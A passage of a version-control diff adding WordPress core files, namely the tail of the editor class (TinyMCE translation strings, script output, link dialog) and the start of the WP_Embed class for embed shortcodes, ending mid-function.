+			'Insert image' => __( 'Insert image' ),
+			'Date/time' => __( 'Date/time' ),
+			'Insert date/time' => __( 'Insert date/time' ),
+			'Table of Contents' => __( 'Table of Contents' ),
+			'Insert/Edit code sample' => __( 'Insert/edit code sample' ),
+			'Language' => __( 'Language' ),
+			'Media' => __( 'Media' ),
+			'Insert/edit media' => __( 'Insert/edit media' ),
+			'Poster' => __( 'Poster' ),
+			'Alternative source' => __( 'Alternative source' ),
+			'Paste your embed code below:' => __( 'Paste your embed code below:' ),
+			'Insert video' => __( 'Insert video' ),
+			'Embed' => __( 'Embed' ),
+
+			// Each of these have a corresponding plugin
+			'Special character' => __( 'Special character' ),
+			'Right to left' => _x( 'Right to left', 'editor button' ),
+			'Left to right' => _x( 'Left to right', 'editor button' ),
+			'Emoticons' => __( 'Emoticons' ),
+			'Nonbreaking space' => __( 'Nonbreaking space' ),
+			'Page break' => __( 'Page break' ),
+			'Paste as text' => __( 'Paste as text' ),
+			'Preview' => __( 'Preview' ),
+			'Print' => __( 'Print' ),
+			'Save' => __( 'Save' ),
+			'Fullscreen' => __( 'Fullscreen' ),
+			'Horizontal line' => __( 'Horizontal line' ),
+			'Horizontal space' => __( 'Horizontal space' ),
+			'Restore last draft' => __( 'Restore last draft' ),
+			'Insert/edit link' => array( __( 'Insert/edit link' ), 'metaK' ),
+			'Remove link' => array( __( 'Remove link' ), 'accessS' ),
+
+			// Link plugin
+			'Link' => __( 'Link' ),
+			'Insert link' => __( 'Insert link' ),
+			'Insert/edit link' => __( 'Insert/edit link' ),
+			'Target' => __( 'Target' ),
+			'New window' => __( 'New window' ),
+			'Text to display' => __( 'Text to display' ),
+			'Url' => __( 'URL' ),
+			'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?' =>
+				__( 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?' ),
+			'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?' =>
+				__( 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?' ),
+
+			'Color' => __( 'Color' ),
+			'Custom color' => __( 'Custom color' ),
+			'Custom...' => _x( 'Custom...', 'label for custom color' ), // no ellipsis
+			'No color' => __( 'No color' ),
+			'R' => _x( 'R', 'Short for red in RGB' ),
+			'G' => _x( 'G', 'Short for green in RGB' ),
+			'B' => _x( 'B', 'Short for blue in RGB' ),
+
+			// Spelling, search/replace plugins
+			'Could not find the specified string.' => __( 'Could not find the specified string.' ),
+			'Replace' => _x( 'Replace', 'find/replace' ),
+			'Next' => _x( 'Next', 'find/replace' ),
+			/* translators: previous */
+			'Prev' => _x( 'Prev', 'find/replace' ),
+			'Whole words' => _x( 'Whole words', 'find/replace' ),
+			'Find and replace' => __( 'Find and replace' ),
+			'Replace with' => _x('Replace with', 'find/replace' ),
+			'Find' => _x( 'Find', 'find/replace' ),
+			'Replace all' => _x( 'Replace all', 'find/replace' ),
+			'Match case' => __( 'Match case' ),
+			'Spellcheck' => __( 'Check Spelling' ),
+			'Finish' => _x( 'Finish', 'spellcheck' ),
+			'Ignore all' => _x( 'Ignore all', 'spellcheck' ),
+			'Ignore' => _x( 'Ignore', 'spellcheck' ),
+			'Add to Dictionary' => __( 'Add to Dictionary' ),
+
+			// TinyMCE tables
+			'Insert table' => __( 'Insert table' ),
+			'Delete table' => __( 'Delete table' ),
+			'Table properties' => __( 'Table properties' ),
+			'Row properties' => __( 'Table row properties' ),
+			'Cell properties' => __( 'Table cell properties' ),
+			'Border color' => __( 'Border color' ),
+
+			'Row' => __( 'Row' ),
+			'Rows' => __( 'Rows' ),
+			'Column' => _x( 'Column', 'table column' ),
+			'Cols' => _x( 'Cols', 'table columns' ),
+			'Cell' => _x( 'Cell', 'table cell' ),
+			'Header cell' => __( 'Header cell' ),
+			'Header' => _x( 'Header', 'table header' ),
+			'Body' => _x( 'Body', 'table body' ),
+			'Footer' => _x( 'Footer', 'table footer' ),
+
+			'Insert row before' => __( 'Insert row before' ),
+			'Insert row after' => __( 'Insert row after' ),
+			'Insert column before' => __( 'Insert column before' ),
+			'Insert column after' => __( 'Insert column after' ),
+			'Paste row before' => __( 'Paste table row before' ),
+			'Paste row after' => __( 'Paste table row after' ),
+			'Delete row' => __( 'Delete row' ),
+			'Delete column' => __( 'Delete column' ),
+			'Cut row' => __( 'Cut table row' ),
+			'Copy row' => __( 'Copy table row' ),
+			'Merge cells' => __( 'Merge table cells' ),
+			'Split cell' => __( 'Split table cell' ),
+
+			'Height' => __( 'Height' ),
+			'Width' => __( 'Width' ),
+			'Caption' => __( 'Caption' ),
+			'Alignment' => __( 'Alignment' ),
+			'H Align' => _x( 'H Align', 'horizontal table cell alignment' ),
+			'Left' => __( 'Left' ),
+			'Center' => __( 'Center' ),
+			'Right' => __( 'Right' ),
+			'None' => _x( 'None', 'table cell alignment attribute' ),
+			'V Align' => _x( 'V Align', 'vertical table cell alignment' ),
+			'Top' => __( 'Top' ),
+			'Middle' => __( 'Middle' ),
+			'Bottom' => __( 'Bottom' ),
+
+			'Row group' => __( 'Row group' ),
+			'Column group' => __( 'Column group' ),
+			'Row type' => __( 'Row type' ),
+			'Cell type' => __( 'Cell type' ),
+			'Cell padding' => __( 'Cell padding' ),
+			'Cell spacing' => __( 'Cell spacing' ),
+			'Scope' => _x( 'Scope', 'table cell scope attribute' ),
+
+			'Insert template' => _x( 'Insert template', 'TinyMCE' ),
+			'Templates' => _x( 'Templates', 'TinyMCE' ),
+
+			'Background color' => __( 'Background color' ),
+			'Text color' => __( 'Text color' ),
+			'Show blocks' => _x( 'Show blocks', 'editor button' ),
+			'Show invisible characters' => __( 'Show invisible characters' ),
+
+			/* translators: word count */
+			'Words: {0}' => sprintf( __( 'Words: %s' ), '{0}' ),
+			'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' =>
+				__( 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' ) . "\n\n" .
+				__( 'If you&#8217;re looking to paste rich content from Microsoft Word, try turning this option off. The editor will clean up text pasted from Word automatically.' ),
+			'Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help' =>
+				__( 'Rich Text Area. Press Alt-Shift-H for help.' ),
+			'Rich Text Area. Press Control-Option-H for help.' => __( 'Rich Text Area. Press Control-Option-H for help.' ),
+			'You have unsaved changes are you sure you want to navigate away?' =>
+				__( 'The changes you made will be lost if you navigate away from this page.' ),
+			'Your browser doesn\'t support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead.' =>
+				__( 'Your browser does not support direct access to the clipboard. Please use keyboard shortcuts or your browser&#8217;s edit menu instead.' ),
+
+			// TinyMCE menus
+			'Insert' => _x( 'Insert', 'TinyMCE menu' ),
+			'File' => _x( 'File', 'TinyMCE menu' ),
+			'Edit' => _x( 'Edit', 'TinyMCE menu' ),
+			'Tools' => _x( 'Tools', 'TinyMCE menu' ),
+			'View' => _x( 'View', 'TinyMCE menu' ),
+			'Table' => _x( 'Table', 'TinyMCE menu' ),
+			'Format' => _x( 'Format', 'TinyMCE menu' ),
+
+			// WordPress strings
+			'Toolbar Toggle' => array( __( 'Toolbar Toggle' ), 'accessZ' ),
+			'Insert Read More tag' => array( __( 'Insert Read More tag' ), 'accessT' ),
+			'Insert Page Break tag' => array( __( 'Insert Page Break tag' ), 'accessP' ),
+			'Read more...' => __( 'Read more...' ), // Title on the placeholder inside the editor (no ellipsis)
+			'Distraction-free writing mode' => array( __( 'Distraction-free writing mode' ), 'accessW' ),
+			'No alignment' => __( 'No alignment' ), // Tooltip for the 'alignnone' button in the image toolbar
+			'Remove' => __( 'Remove' ), // Tooltip for the 'remove' button in the image toolbar
+			'Edit|button' => __( 'Edit' ), // Tooltip for the 'edit' button in the image toolbar
+			'Paste URL or type to search' => __( 'Paste URL or type to search' ), // Placeholder for the inline link dialog
+			'Apply'  => __( 'Apply' ), // Tooltip for the 'apply' button in the inline link dialog
+			'Link options'  => __( 'Link options' ), // Tooltip for the 'link options' button in the inline link dialog
+			'Visual' => _x( 'Visual', 'Name for the Visual editor tab' ), // Editor switch tab label
+			'Text' => _x( 'Text', 'Name for the Text editor tab (formerly HTML)' ), // Editor switch tab label
+			'Add Media' => array( __( 'Add Media' ), 'accessM' ), // Tooltip for the 'Add Media' button in the Block Editor Classic block
+
+			// Shortcuts help modal
+			'Keyboard Shortcuts' => array( __( 'Keyboard Shortcuts' ), 'accessH' ),
+			'Classic Block Keyboard Shortcuts' => __( 'Classic Block Keyboard Shortcuts' ),
+			'Default shortcuts,' => __( 'Default shortcuts,' ),
+			'Additional shortcuts,' => __( 'Additional shortcuts,' ),
+			'Focus shortcuts:' => __( 'Focus shortcuts:' ),
+			'Inline toolbar (when an image, link or preview is selected)' => __( 'Inline toolbar (when an image, link or preview is selected)' ),
+			'Editor menu (when enabled)' => __( 'Editor menu (when enabled)' ),
+			'Editor toolbar' => __( 'Editor toolbar' ),
+			'Elements path' => __( 'Elements path' ),
+			'Ctrl + Alt + letter:' => __( 'Ctrl + Alt + letter:' ),
+			'Shift + Alt + letter:' => __( 'Shift + Alt + letter:' ),
+			'Cmd + letter:' => __( 'Cmd + letter:' ),
+			'Ctrl + letter:' => __( 'Ctrl + letter:' ),
+			'Letter' => __( 'Letter' ),
+			'Action' => __( 'Action' ),
+			'Warning: the link has been inserted but may have errors. Please test it.' => __( 'Warning: the link has been inserted but may have errors. Please test it.' ),
+			'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' =>
+				__( 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' ),
+			'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' =>
+				__( 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' ),
+			'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' =>
+				__( 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' ),
+			'The next group of formatting shortcuts are applied as you type or when you insert them around plain text in the same paragraph. Press Escape or the Undo button to undo.' =>
+				__( 'The next group of formatting shortcuts are applied as you type or when you insert them around plain text in the same paragraph. Press Escape or the Undo button to undo.' ),
+			);
+		}
+
+		/*
+		Imagetools plugin (not included):
+			'Edit image' => __( 'Edit image' ),
+			'Image options' => __( 'Image options' ),
+			'Back' => __( 'Back' ),
+			'Invert' => __( 'Invert' ),
+			'Flip horizontally' => __( 'Flip horizontally' ),
+			'Flip vertically' => __( 'Flip vertically' ),
+			'Crop' => __( 'Crop' ),
+			'Orientation' => __( 'Orientation' ),
+			'Resize' => __( 'Resize' ),
+			'Rotate clockwise' => __( 'Rotate clockwise' ),
+			'Rotate counterclockwise' => __( 'Rotate counterclockwise' ),
+			'Sharpen' => __( 'Sharpen' ),
+			'Brightness' => __( 'Brightness' ),
+			'Color levels' => __( 'Color levels' ),
+			'Contrast' => __( 'Contrast' ),
+			'Gamma' => __( 'Gamma' ),
+			'Zoom in' => __( 'Zoom in' ),
+			'Zoom out' => __( 'Zoom out' ),
+		*/
+
+		return self::$translation;
+	}
+
+	/**
+	 * Translates the default TinyMCE strings and returns them as JSON encoded object ready to be loaded with tinymce.addI18n(),
+	 * or as JS snippet that should run after tinymce.js is loaded.
+	 *
+	 * @static
+	 * @param string $mce_locale The locale used for the editor.
+	 * @param bool $json_only optional Whether to include the JavaScript calls to tinymce.addI18n() and tinymce.ScriptLoader.markDone().
+	 * @return string Translation object, JSON encoded.
+	 */
+	public static function wp_mce_translation( $mce_locale = '', $json_only = false ) {
+		if ( ! $mce_locale ) {
+			$mce_locale = self::get_mce_locale();
+		}
+
+		$mce_translation = self::get_translation();
+
+		foreach ( $mce_translation as $name => $value ) {
+			if ( is_array( $value ) ) {
+				$mce_translation[$name] = $value[0];
+			}
+		}
+
+		/**
+		 * Filters translated strings prepared for TinyMCE.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array  $mce_translation Key/value pairs of strings.
+		 * @param string $mce_locale      Locale.
+		 */
+		$mce_translation = apply_filters( 'wp_mce_translation', $mce_translation, $mce_locale );
+
+		foreach ( $mce_translation as $key => $value ) {
+			// Remove strings that are not translated.
+			if ( $key === $value ) {
+				unset( $mce_translation[$key] );
+				continue;
+			}
+
+			if ( false !== strpos( $value, '&' ) ) {
+				$mce_translation[$key] = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' );
+			}
+		}
+
+		// Set direction
+		if ( is_rtl() ) {
+			$mce_translation['_dir'] = 'rtl';
+		}
+
+		if ( $json_only ) {
+			return wp_json_encode( $mce_translation );
+		}
+
+		$baseurl = self::get_baseurl();
+
+		return "tinymce.addI18n( '$mce_locale', " . wp_json_encode( $mce_translation ) . ");\n" .
+			"tinymce.ScriptLoader.markDone( '$baseurl/langs/$mce_locale.js' );\n";
+	}
+
+	/**
+	 * Force uncompressed TinyMCE when a custom theme has been defined.
+	 *
+	 * The compressed TinyMCE file cannot deal with custom themes, so this makes
+	 * sure that we use the uncompressed TinyMCE file if a theme is defined.
+	 * Even if we are on a production environment.
+	 */
+	public static function force_uncompressed_tinymce() {
+		$has_custom_theme = false;
+		foreach ( self::$mce_settings as $init ) {
+			if ( ! empty( $init['theme_url'] ) ) {
+				$has_custom_theme = true;
+				break;
+			}
+		}
+
+		if ( ! $has_custom_theme ) {
+			return;
+		}
+
+		$wp_scripts = wp_scripts();
+
+		$wp_scripts->remove( 'wp-tinymce' );
+		wp_register_tinymce_scripts( $wp_scripts, true );
+	}
+
+	/**
+	 * Print (output) the main TinyMCE scripts.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @static
+	 * @global string $tinymce_version
+	 * @global bool   $concatenate_scripts
+	 * @global bool   $compress_scripts
+	 */
+	public static function print_tinymce_scripts() {
+		global $concatenate_scripts;
+
+		if ( self::$tinymce_scripts_printed ) {
+			return;
+		}
+
+		self::$tinymce_scripts_printed = true;
+
+		if ( ! isset( $concatenate_scripts ) ) {
+			script_concat_settings();
+		}
+
+		wp_print_scripts( array( 'wp-tinymce' ) );
+
+		echo "<script type='text/javascript'>\n" . self::wp_mce_translation() . "</script>\n";
+	}
+
+	/**
+	 * Print (output) the TinyMCE configuration and initialization scripts.
+	 *
+	 * @static
+	 * @global string $tinymce_version
+	 */
+	public static function editor_js() {
+		global $tinymce_version;
+
+		$tmce_on = ! empty( self::$mce_settings );
+		$mceInit = $qtInit = '';
+
+		if ( $tmce_on ) {
+			foreach ( self::$mce_settings as $editor_id => $init ) {
+				$options = self::_parse_init( $init );
+				$mceInit .= "'$editor_id':{$options},";
+			}
+			$mceInit = '{' . trim( $mceInit, ',' ) . '}';
+		} else {
+			$mceInit = '{}';
+		}
+
+		if ( ! empty( self::$qt_settings ) ) {
+			foreach ( self::$qt_settings as $editor_id => $init ) {
+				$options = self::_parse_init( $init );
+				$qtInit .= "'$editor_id':{$options},";
+			}
+			$qtInit = '{' . trim( $qtInit, ',' ) . '}';
+		} else {
+			$qtInit = '{}';
+		}
+
+		$ref = array(
+			'plugins' => implode( ',', self::$plugins ),
+			'theme' => 'modern',
+			'language' => self::$mce_locale
+		);
+
+		$suffix = SCRIPT_DEBUG ? '' : '.min';
+		$baseurl = self::get_baseurl();
+		$version = 'ver=' . $tinymce_version;
+
+		/**
+		 * Fires immediately before the TinyMCE settings are printed.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param array $mce_settings TinyMCE settings array.
+		 */
+		do_action( 'before_wp_tiny_mce', self::$mce_settings );
+		?>
+
+		<script type="text/javascript">
+		tinyMCEPreInit = {
+			baseURL: "<?php echo $baseurl; ?>",
+			suffix: "<?php echo $suffix; ?>",
+			<?php
+
+			if ( self::$drag_drop_upload ) {
+				echo 'dragDropUpload: true,';
+			}
+
+			?>
+			mceInit: <?php echo $mceInit; ?>,
+			qtInit: <?php echo $qtInit; ?>,
+			ref: <?php echo self::_parse_init( $ref ); ?>,
+			load_ext: function(url,lang){var sl=tinymce.ScriptLoader;sl.markDone(url+'/langs/'+lang+'.js');sl.markDone(url+'/langs/'+lang+'_dlg.js');}
+		};
+		</script>
+		<?php
+
+		if ( $tmce_on ) {
+			self::print_tinymce_scripts();
+
+			if ( self::$ext_plugins ) {
+				// Load the old-format English strings to prevent unsightly labels in old style popups
+				echo "<script type='text/javascript' src='{$baseurl}/langs/wp-langs-en.js?$version'></script>\n";
+			}
+		}
+
+		/**
+		 * Fires after tinymce.js is loaded, but before any TinyMCE editor
+		 * instances are created.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array $mce_settings TinyMCE settings array.
+		 */
+		do_action( 'wp_tiny_mce_init', self::$mce_settings );
+
+		?>
+		<script type="text/javascript">
+		<?php
+
+		if ( self::$ext_plugins )
+			echo self::$ext_plugins . "\n";
+
+		if ( ! is_admin() )
+			echo 'var ajaxurl = "' . admin_url( 'admin-ajax.php', 'relative' ) . '";';
+
+		?>
+
+		( function() {
+			var init, id, $wrap;
+
+			if ( typeof tinymce !== 'undefined' ) {
+				if ( tinymce.Env.ie && tinymce.Env.ie < 11 ) {
+					tinymce.$( '.wp-editor-wrap ' ).removeClass( 'tmce-active' ).addClass( 'html-active' );
+					return;
+				}
+
+				for ( id in tinyMCEPreInit.mceInit ) {
+					init = tinyMCEPreInit.mceInit[id];
+					$wrap = tinymce.$( '#wp-' + id + '-wrap' );
+
+					if ( ( $wrap.hasClass( 'tmce-active' ) || ! tinyMCEPreInit.qtInit.hasOwnProperty( id ) ) && ! init.wp_skip_init ) {
+						tinymce.init( init );
+
+						if ( ! window.wpActiveEditor ) {
+							window.wpActiveEditor = id;
+						}
+					}
+				}
+			}
+
+			if ( typeof quicktags !== 'undefined' ) {
+				for ( id in tinyMCEPreInit.qtInit ) {
+					quicktags( tinyMCEPreInit.qtInit[id] );
+
+					if ( ! window.wpActiveEditor ) {
+						window.wpActiveEditor = id;
+					}
+				}
+			}
+		}());
+		</script>
+		<?php
+
+		if ( in_array( 'wplink', self::$plugins, true ) || in_array( 'link', self::$qt_buttons, true ) ) {
+			self::wp_link_dialog();
+		}
+
+		/**
+		 * Fires after any core TinyMCE editor instances are created.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param array $mce_settings TinyMCE settings array.
+		 */
+		do_action( 'after_wp_tiny_mce', self::$mce_settings );
+	}
+
+	/**
+	 * Outputs the HTML for distraction-free writing mode.
+	 *
+	 * @since 3.2.0
+	 * @deprecated 4.3.0
+	 *
+	 * @static
+	 */
+	public static function wp_fullscreen_html() {
+		_deprecated_function( __FUNCTION__, '4.3.0' );
+	}
+
+	/**
+	 * Performs post queries for internal linking.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @static
+	 * @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments.
+	 * @return false|array Results.
+	 */
+	public static function wp_link_query( $args = array() ) {
+		$pts = get_post_types( array( 'public' => true ), 'objects' );
+		$pt_names = array_keys( $pts );
+
+		$query = array(
+			'post_type' => $pt_names,
+			'suppress_filters' => true,
+			'update_post_term_cache' => false,
+			'update_post_meta_cache' => false,
+			'post_status' => 'publish',
+			'posts_per_page' => 20,
+		);
+
+		$args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1;
+
+		if ( isset( $args['s'] ) )
+			$query['s'] = $args['s'];
+
+		$query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0;
+
+		/**
+		 * Filters the link query arguments.
+		 *
+		 * Allows modification of the link query arguments before querying.
+		 *
+		 * @see WP_Query for a full list of arguments
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $query An array of WP_Query arguments.
+		 */
+		$query = apply_filters( 'wp_link_query_args', $query );
+
+		// Do main query.
+		$get_posts = new WP_Query;
+		$posts = $get_posts->query( $query );
+
+		// Build results.
+		$results = array();
+		foreach ( $posts as $post ) {
+			if ( 'post' == $post->post_type )
+				$info = mysql2date( __( 'Y/m/d' ), $post->post_date );
+			else
+				$info = $pts[ $post->post_type ]->labels->singular_name;
+
+			$results[] = array(
+				'ID' => $post->ID,
+				'title' => trim( esc_html( strip_tags( get_the_title( $post ) ) ) ),
+				'permalink' => get_permalink( $post->ID ),
+				'info' => $info,
+			);
+		}
+
+		/**
+		 * Filters the link query results.
+		 *
+		 * Allows modification of the returned link query results.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @see 'wp_link_query_args' filter
+		 *
+		 * @param array $results {
+		 *     An associative array of query results.
+		 *
+		 *     @type array {
+		 *         @type int    $ID        Post ID.
+		 *         @type string $title     The trimmed, escaped post title.
+		 *         @type string $permalink Post permalink.
+		 *         @type string $info      A 'Y/m/d'-formatted date for 'post' post type,
+		 *                                 the 'singular_name' post type label otherwise.
+		 *     }
+		 * }
+		 * @param array $query  An array of WP_Query arguments.
+		 */
+		$results = apply_filters( 'wp_link_query', $results, $query );
+
+		return ! empty( $results ) ? $results : false;
+	}
+
+	/**
+	 * Dialog for internal linking.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @static
+	 */
+	public static function wp_link_dialog() {
+		// Run once
+		if ( self::$link_dialog_printed ) {
+			return;
+		}
+
+		self::$link_dialog_printed = true;
+
+		// display: none is required here, see #WP27605
+		?>
+		<div id="wp-link-backdrop" style="display: none"></div>
+		<div id="wp-link-wrap" class="wp-core-ui" style="display: none" role="dialog" aria-labelledby="link-modal-title">
+		<form id="wp-link" tabindex="-1">
+		<?php wp_nonce_field( 'internal-linking', '_ajax_linking_nonce', false ); ?>
+		<h1 id="link-modal-title"><?php _e( 'Insert/edit link' ) ?></h1>
+		<button type="button" id="wp-link-close"><span class="screen-reader-text"><?php _e( 'Close' ); ?></span></button>
+		<div id="link-selector">
+			<div id="link-options">
+				<p class="howto" id="wplink-enter-url"><?php _e( 'Enter the destination URL' ); ?></p>
+				<div>
+					<label><span><?php _e( 'URL' ); ?></span>
+					<input id="wp-link-url" type="text" aria-describedby="wplink-enter-url" /></label>
+				</div>
+				<div class="wp-link-text-field">
+					<label><span><?php _e( 'Link Text' ); ?></span>
+					<input id="wp-link-text" type="text" /></label>
+				</div>
+				<div class="link-target">
+					<label><span></span>
+					<input type="checkbox" id="wp-link-target" /> <?php _e( 'Open link in a new tab' ); ?></label>
+				</div>
+			</div>
+			<p class="howto" id="wplink-link-existing-content"><?php _e( 'Or link to existing content' ); ?></p>
+			<div id="search-panel">
+				<div class="link-search-wrapper">
+					<label>
+						<span class="search-label"><?php _e( 'Search' ); ?></span>
+						<input type="search" id="wp-link-search" class="link-search-field" autocomplete="off" aria-describedby="wplink-link-existing-content" />
+						<span class="spinner"></span>
+					</label>
+				</div>
+				<div id="search-results" class="query-results" tabindex="0">
+					<ul></ul>
+					<div class="river-waiting">
+						<span class="spinner"></span>
+					</div>
+				</div>
+				<div id="most-recent-results" class="query-results" tabindex="0">
+					<div class="query-notice" id="query-notice-message">
+						<em class="query-notice-default"><?php _e( 'No search term specified. Showing recent items.' ); ?></em>
+						<em class="query-notice-hint screen-reader-text"><?php _e( 'Search or use up and down arrow keys to select an item.' ); ?></em>
+					</div>
+					<ul></ul>
+					<div class="river-waiting">
+						<span class="spinner"></span>
+					</div>
+ 				</div>
+ 			</div>
+		</div>
+		<div class="submitbox">
+			<div id="wp-link-cancel">
+				<button type="button" class="button"><?php _e( 'Cancel' ); ?></button>
+			</div>
+			<div id="wp-link-update">
+				<input type="submit" value="<?php esc_attr_e( 'Add Link' ); ?>" class="button button-primary" id="wp-link-submit" name="wp-link-submit">
+			</div>
+		</div>
+		</form>
+		</div>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-embed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-embed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-embed.php	(revision 56912)
@@ -0,0 +1,479 @@
+<?php
+/**
+ * API for easily embedding rich media such as videos and images into content.
+ *
+ * @package WordPress
+ * @subpackage Embed
+ * @since 2.9.0
+ */
+class WP_Embed {
+	public $handlers = array();
+	public $post_ID;
+	public $usecache = true;
+	public $linkifunknown = true;
+	public $last_attr = array();
+	public $last_url = '';
+
+	/**
+	 * When a URL cannot be embedded, return false instead of returning a link
+	 * or the URL.
+	 *
+	 * Bypasses the {@see 'embed_maybe_make_link'} filter.
+	 *
+	 * @var bool
+	 */
+	public $return_false_on_fail = false;
+
+	/**
+	 * Constructor
+	 */
+	public function __construct() {
+		// Hack to get the [embed] shortcode to run before wpautop()
+		add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 );
+		add_filter( 'widget_text_content', array( $this, 'run_shortcode' ), 8 );
+
+		// Shortcode placeholder for strip_shortcodes()
+		add_shortcode( 'embed', '__return_false' );
+
+		// Attempts to embed all URLs in a post
+		add_filter( 'the_content', array( $this, 'autoembed' ), 8 );
+		add_filter( 'widget_text_content', array( $this, 'autoembed' ), 8 );
+
+		// After a post is saved, cache oEmbed items via Ajax
+		add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) );
+		add_action( 'edit_page_form', array( $this, 'maybe_run_ajax_cache' ) );
+	}
+
+	/**
+	 * Process the [embed] shortcode.
+	 *
+	 * Since the [embed] shortcode needs to be run earlier than other shortcodes,
+	 * this function removes all existing shortcodes, registers the [embed] shortcode,
+	 * calls do_shortcode(), and then re-registers the old shortcodes.
+	 *
+	 * @global array $shortcode_tags
+	 *
+	 * @param string $content Content to parse
+	 * @return string Content with shortcode parsed
+	 */
+	public function run_shortcode( $content ) {
+		global $shortcode_tags;
+
+		// Back up current registered shortcodes and clear them all out
+		$orig_shortcode_tags = $shortcode_tags;
+		remove_all_shortcodes();
+
+		add_shortcode( 'embed', array( $this, 'shortcode' ) );
+
+		// Do the shortcode (only the [embed] one is registered)
+		$content = do_shortcode( $content, true );
+
+		// Put the original shortcodes back
+		$shortcode_tags = $orig_shortcode_tags;
+
+		return $content;
+	}
+
+	/**
+	 * If a post/page was saved, then output JavaScript to make
+	 * an Ajax request that will call WP_Embed::cache_oembed().
+	 */
+	public function maybe_run_ajax_cache() {
+		$post = get_post();
+
+		if ( ! $post || empty( $_GET['message'] ) )
+			return;
+
+?>
+<script type="text/javascript">
+	jQuery(document).ready(function($){
+		$.get("<?php echo admin_url( 'admin-ajax.php?action=oembed-cache&post=' . $post->ID, 'relative' ); ?>");
+	});
+</script>
+<?php
+	}
+
+	/**
+	 * Registers an embed handler.
+	 *
+	 * Do not use this function directly, use wp_embed_register_handler() instead.
+	 *
+	 * This function should probably also only be used for sites that do not support oEmbed.
+	 *
+	 * @param string $id An internal ID/name for the handler. Needs to be unique.
+	 * @param string $regex The regex that will be used to see if this handler should be used for a URL.
+	 * @param callable $callback The callback function that will be called if the regex is matched.
+	 * @param int $priority Optional. Used to specify the order in which the registered handlers will be tested (default: 10). Lower numbers correspond with earlier testing, and handlers with the same priority are tested in the order in which they were added to the action.
+	 */
+	public function register_handler( $id, $regex, $callback, $priority = 10 ) {
+		$this->handlers[$priority][$id] = array(
+			'regex'    => $regex,
+			'callback' => $callback,
+		);
+	}
+
+	/**
+	 * Unregisters a previously-registered embed handler.
+	 *
+	 * Do not use this function directly, use wp_embed_unregister_handler() instead.
+	 *
+	 * @param string $id The handler ID that should be removed.
+	 * @param int $priority Optional. The priority of the handler to be removed (default: 10).
+	 */
+	public function unregister_handler( $id, $priority = 10 ) {
+		unset( $this->handlers[ $priority ][ $id ] );
+	}
+
+	/**
+	 * The do_shortcode() callback function.
+	 *
+	 * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of
+	 * the registered embed handlers. If none of the regex matches and it's enabled, then the URL
+	 * will be given to the WP_oEmbed class.
+	 *
+	 * @param array $attr {
+	 *     Shortcode attributes. Optional.
+	 *
+	 *     @type int $width  Width of the embed in pixels.
+	 *     @type int $height Height of the embed in pixels.
+	 * }
+	 * @param string $url The URL attempting to be embedded.
+	 * @return string|false The embed HTML on success, otherwise the original URL.
+	 *                      `->maybe_make_link()` can return false on failure.
+	 */
+	public function shortcode( $attr, $url = '' ) {
+		$post = get_post();
+
+		if ( empty( $url ) && ! empty( $attr['src'] ) ) {
+			$url = $attr['src'];
+		}
+
+		$this->last_url = $url;
+
+		if ( empty( $url ) ) {
+			$this->last_attr = $attr;
+			return '';
+		}
+
+		$rawattr = $attr;
+		$attr = wp_parse_args( $attr, wp_embed_defaults( $url ) );
+
+		$this->last_attr = $attr;
+
+		// kses converts & into &amp; and we need to undo this
+		// See https://core.trac.wordpress.org/ticket/11311
+		$url = str_replace( '&amp;', '&', $url );
+
+		// Look for known internal handlers
+		ksort( $this->handlers );
+		foreach ( $this->handlers as $priority => $handlers ) {
+			foreach ( $handlers as $id => $handler ) {
+				if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) {
+					if ( false !== $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ) )
+						/**
+						 * Filters the returned embed handler.
+						 *
+						 * @since 2.9.0
+						 *
+						 * @see WP_Embed::shortcode()
+						 *
+						 * @param mixed  $return The shortcode callback function to call.
+						 * @param string $url    The attempted embed URL.
+						 * @param array  $attr   An array of shortcode attributes.
+						 */
+						return apply_filters( 'embed_handler_html', $return, $url, $attr );
+				}
+			}
+		}
+
+		$post_ID = ( ! empty( $post->ID ) ) ? $post->ID : null;
+
+		// Potentially set by WP_Embed::cache_oembed().
+		if ( ! empty( $this->post_ID ) ) {
+			$post_ID = $this->post_ID;
+		}
+
+		// Check for a cached result (stored as custom post or in the post meta).
+		$key_suffix    = md5( $url . serialize( $attr ) );
+		$cachekey      = '_oembed_' . $key_suffix;
+		$cachekey_time = '_oembed_time_' . $key_suffix;
+
+		/**
